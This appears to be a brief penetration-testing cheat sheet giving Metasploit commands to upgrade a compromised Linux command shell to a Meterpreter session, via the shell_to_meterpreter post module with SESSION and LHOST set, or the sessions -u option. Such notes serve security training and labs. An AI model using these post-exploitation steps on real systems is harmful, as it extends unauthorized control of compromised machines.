This Linux command shell is not as advanced as Meterpreter.
Upgrade the command shell to a Meterpreter session on the target system
background # or CTRL+Z
sessions
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST eth1
run
sessions
sessions 2
exit
#Auto Shell to Meterpreter
Use the sessions -u option to upgrade the shell to a Meterpreter session